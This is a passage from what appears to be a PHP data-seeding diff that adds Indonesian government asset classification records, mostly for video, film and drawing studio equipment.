'id_aset' => 2164, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '034', + 'nama' => 'TELEPROMPTER', + ], + [ + 'id_aset' => 2165, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '035', + 'nama' => 'TIME BASE CORRECTOR', + ], + [ + 'id_aset' => 2166, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '036', + 'nama' => 'GUN SMOKE', + ], + [ + 'id_aset' => 2167, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '037', + 'nama' => 'AUTOMATIC EDITING CONTROL (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2168, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '038', + 'nama' => 'POWER SUPPLY (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2169, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '039', + 'nama' => 'EDITING ELECTRONIC', + ], + [ + 'id_aset' => 2170, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '040', + 'nama' => 'RECTIFIER UNIT', + ], + [ + 'id_aset' => 2171, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '041', + 'nama' => 'REMOTE CONTROL UNIT', + ], + [ + 'id_aset' => 2172, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '042', + 'nama' => 'RAK PERALATAN', + ], + [ + 'id_aset' => 2173, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '043', + 'nama' => 'STABILIZING AMPLIFIER', + ], + [ + 'id_aset' => 2174, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '044', + 'nama' => 'DIGITAL VIDEO EFFECT', + ], + [ + 'id_aset' => 2175, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '045', + 'nama' => 'TRIPOD CAMERA', + ], + [ + 'id_aset' => 2176, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '046', + 'nama' => 'DIMMER', + ], + [ + 'id_aset' => 2177, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '047', + 'nama' => 'CHILLER', + ], + [ + 'id_aset' => 2178, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '048', + 'nama' => 'SLAVE CLOCK (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2179, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '049', + 'nama' => 'MASTER CLOCK (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2180, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '050', + 'nama' => 'TELEDYNE', + ], + [ + 'id_aset' => 2181, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '051', + 'nama' => 'FLYING SPOT SCANNER', + ], + [ + 'id_aset' => 2182, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '052', + 'nama' => 'SYNCHRONIZING PULSE GENERATOR', + ], + [ + 'id_aset' => 2183, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '053', + 'nama' => 'DC CONVERTER', + ], + [ + 'id_aset' => 2184, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '054', + 'nama' => 'BLACK BURST GENERATOR', + ], + [ + 'id_aset' => 2185, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '055', + 'nama' => 'LIGHTING STAND TRIPOD', + ], + [ + 'id_aset' => 2186, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '056', + 'nama' => 'FILM PROJECTOR', + ], + [ + 'id_aset' => 2187, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '057', + 'nama' => 'SLIDE PROJECTOR', + ], + [ + 'id_aset' => 2188, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '058', + 'nama' => 'COMMAND DESK', + ], + [ + 'id_aset' => 2189, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '059', + 'nama' => 'ANNOUNCER DESK', + ], + [ + 'id_aset' => 2190, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '060', + 'nama' => 'CAMERA FILM', + ], + [ + 'id_aset' => 2191, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '061', + 'nama' => 'LENSA KAMERA', + ], + [ + 'id_aset' => 2192, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '062', + 'nama' => 'FILM MAGAZINE', + ], + [ + 'id_aset' => 2193, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '063', + 'nama' => 'CLAPER', + ], + [ + 'id_aset' => 2194, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '064', + 'nama' => 'CHANGING BAG', + ], + [ + 'id_aset' => 2195, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '065', + 'nama' => 'CONDITIONER', + ], + [ + 'id_aset' => 2196, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '066', + 'nama' => 'COLOUR FILM ANALYZER', + ], + [ + 'id_aset' => 2197, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '068', + 'nama' => 'FILM SOUND RECORDER', + ], + [ + 'id_aset' => 2198, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '069', + 'nama' => 'TELE RECORDER', + ], + [ + 'id_aset' => 2199, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '070', + 'nama' => 'CAMERA VIEW FINDER', + ], + [ + 'id_aset' => 2200, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '071', + 'nama' => 'SERVO ZOOM LENS', + ], + [ + 'id_aset' => 2201, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '072', + 'nama' => 'CAMERA ADAPTOR', + ], + [ + 'id_aset' => 2202, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '073', + 'nama' => 'PHOTO PROCESSING SET', + ], + [ + 'id_aset' => 2203, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '074', + 'nama' => 'MICRO FILM', + ], + [ + 'id_aset' => 2204, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '075', + 'nama' => 'MIXER PVC', + ], + [ + 'id_aset' => 2205, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '076', + 'nama' => 'UNIT REPLENIESER TANK', + ], + [ + 'id_aset' => 2206, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '077', + 'nama' => 'HORIZONTAL MOTORIZED FILM REWINDER', + ], + [ + 'id_aset' => 2207, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '078', + 'nama' => 'VERTICAL MOTORIZED FILM REWINDER', + ], + [ + 'id_aset' => 2208, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '079', + 'nama' => 'MANUAL FILM REWINDER', + ], + [ + 'id_aset' => 2209, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '080', + 'nama' => 'MESIN PROSESING FILM NEGATIF', + ], + [ + 'id_aset' => 2210, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '081', + 'nama' => 'MESIN PROSESING FILM POSITIF', + ], + [ + 'id_aset' => 2211, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '082', + 'nama' => 'MESIN PROSESING FILM WARNA NEGATIF (ECN)', + ], + [ + 'id_aset' => 2212, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '083', + 'nama' => 'MESIN PROSESING FILM WARNA POSITIF (ECP)', + ], + [ + 'id_aset' => 2213, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '084', + 'nama' => 'MESIN FILM COLOR ANALYZER', + ], + [ + 'id_aset' => 2214, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '085', + 'nama' => 'ANALITICAL BALANCE (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2215, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '086', + 'nama' => 'ALAT PEMANAS PROSESING ( WATER HEATER )', + ], + [ + 'id_aset' => 2216, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '087', + 'nama' => 'STAPLER FILM', + ], + [ + 'id_aset' => 2217, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '088', + 'nama' => 'MAGNETIC STIP', + ], + [ + 'id_aset' => 2218, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '089', + 'nama' => 'SPLITZER TAPE', + ], + [ + 'id_aset' => 2219, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '090', + 'nama' => 'MEJA EDITING FILM', + ], + [ + 'id_aset' => 2220, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '091', + 'nama' => 'DIGITAL TBC', + ], + [ + 'id_aset' => 2221, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '092', + 'nama' => 'TITANIUM TANK SINGLE SHAFT', + ], + [ + 'id_aset' => 2222, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '093', + 'nama' => 'TEMPERATUR CONTROL C/W', + ], + [ + 'id_aset' => 2223, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '094', + 'nama' => 'GEAR BOX SUN ASSY', + ], + [ + 'id_aset' => 2224, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '095', + 'nama' => 'TACHO GENERATOR FOR DRIVE MOTOR RACHING', + ], + [ + 'id_aset' => 2225, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '096', + 'nama' => 'CIRCULATION SYSTEM COMPLET', + ], + [ + 'id_aset' => 2226, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '097', + 'nama' => 'CHILLER WATER COMPLET', + ], + [ + 'id_aset' => 2227, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '098', + 'nama' => 'VIDEO AUDIO JACK PANEL', + ], + [ + 'id_aset' => 2228, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '099', + 'nama' => 'AUTOMATIC EMERGENCY LIGHT', + ], + [ + 'id_aset' => 2229, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '100', + 'nama' => 'FILM CHAIN MULTIPLIER', + ], + [ + 'id_aset' => 2230, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '101', + 'nama' => 'PHOTO TUSTEL', + ], + [ + 'id_aset' => 2231, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '102', + 'nama' => 'PHOTO TUSTEL POLAROID', + ], + [ + 'id_aset' => 2232, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '103', + 'nama' => 'BETACAM RECORDER/PLAYER', + ], + [ + 'id_aset' => 2233, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '104', + 'nama' => 'SLIDE RAIL', + ], + [ + 'id_aset' => 2234, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '105', + 'nama' => 'WEAPON & METAL DETECTOR ( CHECK GATE )', + ], + [ + 'id_aset' => 2235, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '107', + 'nama' => 'LAYAR FILM/PROJECTOR', + ], + [ + 'id_aset' => 2236, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '108', + 'nama' => 'CAMERA TUNE SIMULATOR', + ], + [ + 'id_aset' => 2237, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '109', + 'nama' => 'DRY SPLITZER FILM', + ], + [ + 'id_aset' => 2238, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '110', + 'nama' => 'VIDEO TONE CLEANER', + ], + [ + 'id_aset' => 2239, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '111', + 'nama' => 'MINI VIEWER', + ], + [ + 'id_aset' => 2240, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '112', + 'nama' => 'PUSH BUTTON CONTROL PANEL', + ], + [ + 'id_aset' => 2241, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '113', + 'nama' => 'RAK TERMINAL VENCING', + ], + [ + 'id_aset' => 2242, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '114', + 'nama' => 'STANDARD TRUE SIGNAL/MASTER RACK', + ], + [ + 'id_aset' => 2243, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '115', + 'nama' => 'MOTOR DRIVER', + ], + [ + 'id_aset' => 2244, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '116', + 'nama' => 'ANALOG DELAY (PERALATAN STUDIO VIDEO DAN FILM)', + ], + [ + 'id_aset' => 2245, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '117', + 'nama' => 'STANDARD POINT ANIMATION', + ], + [ + 'id_aset' => 2246, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '118', + 'nama' => 'HEAD SET', + ], + [ + 'id_aset' => 2247, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '119', + 'nama' => 'CHARACTER EFFECT INTERFACE', + ], + [ + 'id_aset' => 2248, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '120', + 'nama' => 'LIGHTING HEAD BODY', + ], + [ + 'id_aset' => 2249, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '121', + 'nama' => 'LIGHTING MECHANIC', + ], + [ + 'id_aset' => 2250, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '122', + 'nama' => 'ALOS 321 FICHE READER', + ], + [ + 'id_aset' => 2251, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '123', + 'nama' => 'ALOS 321 ALOS READER', + ], + [ + 'id_aset' => 2252, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '124', + 'nama' => 'INSERTER JACKET FILMNES MODEL FRF-160 & 3500', + ], + [ + 'id_aset' => 2253, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '125', + 'nama' => '\"DIASO PRINTER', + ], + [ + 'id_aset' => 2254, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '126', + 'nama' => 'DIASO PROCESSOR 404 DAN 404 D', + ], + [ + 'id_aset' => 2255, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '127', + 'nama' => 'CAMERA UNDER WATER', + ], + [ + 'id_aset' => 2256, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '128', + 'nama' => 'CAMERA DIGITAL', + ], + [ + 'id_aset' => 2257, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '129', + 'nama' => 'TAS KAMERA', + ], + [ + 'id_aset' => 2258, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '130', + 'nama' => 'LAMPU BLITZ KAMERA', + ], + [ + 'id_aset' => 2259, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '131', + 'nama' => 'LENSA FILTER', + ], + [ + 'id_aset' => 2260, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '132', + 'nama' => 'VIDEO CONFERENCE', + ], + [ + 'id_aset' => 2261, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '133', + 'nama' => 'TURBO IDDR (INTELLIGENT DIGITAL DISK RECORDER)', + ], + [ + 'id_aset' => 2262, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '134', + 'nama' => 'VIDEO ROUTER', + ], + [ + 'id_aset' => 2263, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '135', + 'nama' => 'LCD MONITOR', + ], + [ + 'id_aset' => 2264, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '136', + 'nama' => 'SDI RASTERISER', + ], + [ + 'id_aset' => 2265, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '137', + 'nama' => 'AUDIO MONITORING UNIT', + ], + [ + 'id_aset' => 2266, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '138', + 'nama' => 'FRAME SYNCHRONIZER', + ], + [ + 'id_aset' => 2267, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '139', + 'nama' => 'AUDIO TRANSCODER', + ], + [ + 'id_aset' => 2268, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '140', + 'nama' => 'AUDIO CONVERTER', + ], + [ + 'id_aset' => 2269, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '141', + 'nama' => 'AUTOMATION MAIN', + ], + [ + 'id_aset' => 2270, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '142', + 'nama' => 'RECORDING WORKSTATION', + ], + [ + 'id_aset' => 2271, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '143', + 'nama' => 'EDITOR WORKSTATION', + ], + [ + 'id_aset' => 2272, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '144', + 'nama' => 'ON AIR RECORDING', + ], + [ + 'id_aset' => 2273, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '145', + 'nama' => 'CONNECTORS', + ], + [ + 'id_aset' => 2274, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '146', + 'nama' => 'PATCH CORD', + ], + [ + 'id_aset' => 2275, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '147', + 'nama' => 'AUDIO EMBEDDER', + ], + [ + 'id_aset' => 2276, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '148', + 'nama' => 'VTR RECORDER', + ], + [ + 'id_aset' => 2277, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '149', + 'nama' => 'ANALOG VIDEO ROUTER', + ], + [ + 'id_aset' => 2278, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '150', + 'nama' => 'BROADBAND AMLIFIER', + ], + [ + 'id_aset' => 2279, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '151', + 'nama' => 'SPLITTER', + ], + [ + 'id_aset' => 2280, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '152', + 'nama' => 'RF CABLE', + ], + [ + 'id_aset' => 2281, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '153', + 'nama' => 'F CONNECTOR', + ], + [ + 'id_aset' => 2282, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '154', + 'nama' => 'TV CONNECTOR', + ], + [ + 'id_aset' => 2283, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '155', + 'nama' => 'THERMO BIND MACHINE', + ], + [ + 'id_aset' => 2284, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '156', + 'nama' => 'KAMERA STILE', + ], + [ + 'id_aset' => 2285, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '157', + 'nama' => 'MINI DV', + ], + [ + 'id_aset' => 2286, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '158', + 'nama' => 'MONOPOD', + ], + [ + 'id_aset' => 2287, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '159', + 'nama' => 'CLIPP ON', + ], + [ + 'id_aset' => 2288, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '160', + 'nama' => 'COMPUTER EDITING', + ], + [ + 'id_aset' => 2289, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '161', + 'nama' => 'CUT EDITING', + ], + [ + 'id_aset' => 2290, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '162', + 'nama' => 'DUPLICATOR VCD', + ], + [ + 'id_aset' => 2291, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '163', + 'nama' => 'DUPLICATOR DVD', + ], + [ + 'id_aset' => 2292, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '164', + 'nama' => 'VIDEO SPLITTER', + ], + [ + 'id_aset' => 2293, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '165', + 'nama' => 'CAMERA CONFERENCE', + ], + [ + 'id_aset' => 2294, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN STUDIO VIDEO DAN FILM LAINNYA', + ], + [ + 'id_aset' => 2295, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN STUDIO GAMBAR', + ], + [ + 'id_aset' => 2296, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'MEJA GAMBAR', + ], + [ + 'id_aset' => 2297, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'LICHDRUCK APPARAAT', + ], + [ + 'id_aset' => 2298, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'SABLON SET', + ], + [ + 'id_aset' => 2299, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT TULIS GAMBAR', + ], + [ + 'id_aset' => 2300, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 